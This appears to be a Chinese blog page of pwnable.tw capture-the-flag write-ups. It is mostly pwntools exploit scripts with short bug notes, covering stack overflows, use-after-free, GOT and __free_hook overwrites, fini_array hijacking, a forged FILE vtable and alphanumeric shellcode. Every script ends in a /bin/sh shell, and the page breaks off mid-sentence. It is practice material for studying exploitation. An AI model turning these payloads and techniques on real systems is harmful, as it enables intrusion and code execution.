eeeeeeeeeeeeeeeea

愿我们永远热泪盈眶!

0%

pwnable.tw记录

pwnable.tw exp

start

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#p = process("./start")
p = remote('chall.pwnable.tw',10000)
context.log_level = "debug"
context.arch = "i386"

shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
p.recvuntil("Let's start the CTF:")

payload = "a"*20 + p32(0x8048087)
p.send(payload)
esp = u32(p.recv(4))
success("esp:"+hex(esp))
payload = "a"*20 + p32(esp+20) + shellcode
p.send(payload)

p.interactive()

calc

3×17

程序一开始会执行start函数,start函数内部的参数如下

1
__libc_start_main(main,argc,argv&env,init,fini,rtld_fini)

main函数启动过程

libc_csu_init -> main -> libc_csu_fini

更细致的过程如下

.init -> .init_array[0] -> .init_array[1] -> …… .init_array[n] -> main -> .fini_array[n] -> …… .fini_array[0]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
p = process("./3x17")
#p = remote("node4.buuoj.cn",25112)
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./3x17")

fini_array = 0x4B40F0
main = 0x401B6D
fini = 0x402960
leave_ret = 0x401C4B
esp = 0x4B4100
gdb.attach(p,"")
ret = 0x401016

rop_syscall = 0x471db5
rop_pop_rax = 0x41e4af
rop_pop_rdx = 0x446e35
rop_pop_rsi = 0x406c30
rop_pop_rdi = 0x401696
bin_sh_addr = 0x4B419A


def write(addr,content):
p.recv()
p.send(str(addr))
p.recv()
p.send(content)

write(fini_array,p64(fini)+p64(main))


write(bin_sh_addr,"/bin/sh\x00")
write(esp,p64(rop_pop_rax))
write(esp+8,p64(0x3b))
write(esp+16,p64(rop_pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(rop_pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(rop_pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(rop_syscall))


write(fini_array,p64(leave_ret)+p64(ret))

p.interactive()

dubblesort

“+”号不会出现在栈里,通过输入名字的数量可以达到栈溢出的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
#p = process("./dubblesort")
p = remote("node4.buuoj.cn",28673)
#context.log_level = "debug"
context.arch = "i386"
elf = ELF("./dubblesort")
#libc = elf.libc
libc = ELF("./libc-2.23.so")

#gdb.attach(p,"b *$rebase(0xa32)")
#pause()

p.sendlineafter("What your name :","e"*24)
p.recvuntil("Hello ")
p.recvuntil("e"*24)
libc_base = u32(p.recv()[0:4]) - 0x1b0000 - 0xa #- 0x3000
success("libc_base:"+hex(libc_base))

p.sendline("35")
p.recv()

for i in range(24):
p.sendline("0")
p.recv()

#gdb.attach(p,"b *$rebase(0xa73)")
p.sendline("+")
p.recv()

system=libc_base + libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh").next()

for i in range(9):
p.sendline(str(system))
p.recv()
#gdb.attach(p,"b *$rebase(0xa73)")

p.sendline(str(libc_base+libc.search("/bin/sh").next()))
p.recv()

p.interactive()

hacknote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
#p = remote("node4.buuoj.cn",25864)
p = process("./hacknote")
context.log_level = "debug"
elf = ELF("./hacknote")
libc = elf.libc

def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(content)

def free(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))

def show(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))

def g():
gdb.attach(p)
pause()

add(64,"eeee") #0
add(32,"eeee") #1
free(0)
add(64,"") #2
show(2)
libc_base = u32(p.recv(4)) - 0x1b370a
success("libc_base:"+hex(libc_base))

free(0)
free(1)
add(8,p32(libc_base+libc.sym["system"])+";sh\x00")
show(0)

p.interactive()

silver bullet

32位的栈的off-by-ones,顾名思义就是可以在栈中溢出多个字节,直到溢出到eip。需要泄露libc基址,然后栈迁移打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
p = process("silver_bullet")
#p = remote("node4.buuoj.cn",29035)
context.log_level = "debug"
elf = ELF("silver_bullet")
libc = elf.libc
#libc = ELF("./libc-2.23.so")
def menu(index):
p.sendlineafter("Your choice :",str(index))

def add(content):
menu(1)
p.sendafter("Give me your description of bullet :",content)

def power_up(content):
menu(2)
p.sendafter("Give me your another description of bullet :",content)

puts_plt = 0x80484a8
puts_got = 0x804afdc

add("e"*47)
power_up("e")

puts_plt = 0x80484a8
puts_got = 0x804afdc
fake_addr = 0x804b410

pr_addr = 0x08048475 #pop ebx ; ret
lr_addr = 0x8048a18 #leave; ret
read_input = 0x80485eb
payload3 = '\xff' * 3 + p32(fake_addr) + p32(puts_plt) + p32(pr_addr) + p32(puts_got) + p32(read_input) + p32(lr_addr) + p32(fake_addr) + p32(0x1011)
#gdb.attach(p,"b *0x08048874")
#pause()
power_up(payload3)
#pause()

p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Oh ! You win !!\n')


puts_addr = u32(p.recv(4))
success("puts_got:"+hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
success("libc_base:"+hex(libc_base))
system_addr = libc_base + libc.sym["system"]
payload = p32(fake_addr) + p32(system_addr) + p32(0xdeadbeef) + p32(fake_addr + 0x10) + '/bin/sh'
#gdb.attach(p,"b *0x080485EB")
#pause()
p.send(payload)

pause()

p.interactive()

applestore

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
#p = process("applestore")
p = remote("node4.buuoj.cn",29822)
elf = ELF("applestore")
#libc = elf.libc
libc = ELF("libc_32.so.6")
context.log_level = "debug"


def menu(index):
p.sendlineafter("> ",str(index))

def list():
menu(1)

def add(index):
menu(2)
p.sendlineafter("Device Number> ",str(index))

def free(index):
menu(3)
p.sendlineafter("Item Number> ",str(index))

def cart():
menu(4)
p.sendlineafter("Let me check your cart. ok? (y/n) > ","y")

def checkout():
menu(5)
p.sendlineafter("Let me check your cart. ok? (y/n) > ","y")

mycart = 0x0804B070

#gdb.attach(p,"b *0x0804866D")
for i in range(6):
add(1)
for i in range(20):
add(2)
checkout()
payload = "y\x00" + p32(elf.got["puts"]) + "e"*4 + p32(mycart) + p32(1)
menu(4)
p.sendlineafter("Let me check your cart. ok? (y/n) > ",payload)
p.recvuntil('27: ')
libc_base = u32(p.recv(4)) - libc.sym["puts"]
p.recvuntil('28: ')
heap_base = u32(p.recv(4)) - 0x490
success("libc_base:"+hex(libc_base))
success("heap_base:"+hex(heap_base))

payload = 'y\x00'+p32(heap_base+0x8b0)+p32(1)+p32(0x0804B070)+p32(1)
menu(4)
p.sendlineafter("Let me check your cart. ok? (y/n) > ",payload)
p.recvuntil('27: ')
stack_addr = u32(p.recv(4))
success("stack_addr:"+hex(stack_addr))
ebp = stack_addr + 0x20
for i in range(25):
free(1)

payload = "2\x00" + p32(elf.got["puts"]) + p32(1) + p32(ebp - 0xc) + p32(elf.got['asprintf']+0x22)
free(payload)

payload = "sh\x00\x00" + p32(libc_base+libc.sym["system"])
p.sendlineafter("> ",payload)
p.interactive()

re-alloc

这题是利用realloc(ptr,0)来构成UAF,然后改got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
p = process("re-alloc")
elf = ELF("re-alloc")
libc = elf.libc

def alloc(idx, size, data):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(data)

def realloc(idx, size, data):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil("Size:")
p.sendline(str(size))
if size != 0:
p.recvuntil("Data:")
p.send(data)

def free(idx):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index:")
p.sendline(str(idx))

def g():
gdb.attach(p)
input()

alloc(0, 0x18, "AAA")
realloc(0, 0, "")
realloc(0, 0x18, p64(elf.got["atoll"]))
alloc(1, 0x18, "BBB")
realloc(0, 0x28, "CCC")
free(0)
realloc(1, 0x28, "s"*0x10)
free(1)


alloc(0, 0x38, "AAA")
realloc(0, 0, "")
realloc(0, 0x38, p64(elf.got["atoll"]))
alloc(1,0x38,"e")
realloc(0, 0x48, "CCC")
free(0)
realloc(1, 0x48, "s"*0x10)
free(1)

alloc(0,0x38,p64(elf.plt["printf"]))
#gdb.attach(p,"b *0x4015F9")

free("%14$llx")
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 0x83e4a
success("libc_base:"+hex(libc_base))

p.sendlineafter("Your choice: ", "1")
p.sendlineafter("Index:","a\x00")
p.sendafter("Size:","a"*15+"\x00")
p.sendafter("Data:", p64(libc_base+libc.sym["system"]))
free("/bin/sh\x00")
#g()


p.interactive()

tcache_tear

UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
p = process("tcache_tear")
elf = ELF("tcache_tear")
libc = elf.libc
context.log_level = "debug"

def menu(choice):
p.sendlineafter("Your choice :",str(choice))

def add(size,content):
menu(1)
p.sendlineafter("Size:",str(size))
p.sendafter("Data:",content)

def free():
menu(2)

def show():
menu(3)

def g():
gdb.attach(p)
input()

def aaw(len,addr,data):
add(len,'a')
free()
free()
add(len,p64(addr))
add(len,'a')
add(len,data)

p.sendlineafter("Name:",p64(0)+p64(0x551))
aaw(0x50,0x602060+0x550,(p64(0)+p64(0x21)+p64(0)*2)*2 )
aaw(0x60,0x602060+0x10,"a")
free()
show()
p.recvuntil("Name :")
p.recv(16)
libc_base = u64(p.recv(8)) - 0x3ebca0
success("libc_base:"+hex(libc_base))


aaw(0x70,libc_base+libc.sym["__free_hook"],p64(libc_base+libc.sym["system"]))
add(0x80,"/bin/sh\x00")

free()

p.interactive()

seethefile

puts(ptr)用int接收,case5的情况有bss段溢出。伪造vtable虚表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
p = process("seethefile")
#p = remote("node4.buuoj.cn",26190)
elf = ELF("seethefile")
#libc = ELF("libc_32.so")
libc = elf.libc
context.log_level = "debug"

def menu(choice):
p.sendlineafter("Your choice :",str(choice))

def open(name):
menu(1)
p.sendlineafter("What do you want to see :",name)

def read():
menu(2)

def write():
menu(3)

open("/proc/self/maps")
read()
read()
write()
p.recvuntil("[heap]\n")
libc_base = int(p.recv(8),16) + 0x1000
success("libc_base:"+hex(libc_base))
system = libc_base + libc.sym["system"]

fakeFILE = 0x0804B284
payload = 'a'*0x20
payload += p32(fakeFILE)
payload += p32(0xffffdfff)
payload += ";$0"+'\x00'*0x8d
payload += p32(fakeFILE+0x98)
payload += p32(system)*3

menu(5)
p.sendline(payload)
p.interactive()

death note

难点是写shellcode,got表可改,在add时有bss越界。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
p = process("death_note")
#p = remote("node4.buuoj.cn",29697)
elf = ELF("death_note")
context.log_level = "debug"

def menu(a):
p.sendlineafter("Your choice :",str(a))

def add(index,name):
menu(1)
p.sendlineafter("Index :",str(index))
p.sendafter("Name :",name)

def free(index):
menu(3)
p.sendlineafter("Index :",str(index))

def show(index):
menu(2)
p.sendlineafter("Index :",str(index))


name = 0x0804A060
puts_got = 0x0804A020
off = puts_got - name
index = off/4


shellcode = """

push 0x68
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx



push edx
pop eax
push 0x57575757
pop edx
sub byte ptr[eax+0x39] , dl
sub byte ptr[eax+0x39] , dl
sub byte ptr[eax+0x3a] , dl
sub byte ptr[eax+0x3a] , dl
push 0x4d4d4d4d
pop edx
sub byte ptr[eax+0x3a] , dl



push ecx
pop edx


push edx
pop eax
sub al,0x30
sub al,0x62
sub al,0x63

push edx
pop edx
push edx
pop edx


"""

print hex(len(asm(shellcode)))


shellcode = asm(shellcode) + "\x7b\x7b"
add(index,shellcode)

#pause()

p.interactive()

spirited_away

printf以0为结尾,puts以\n为结尾;read以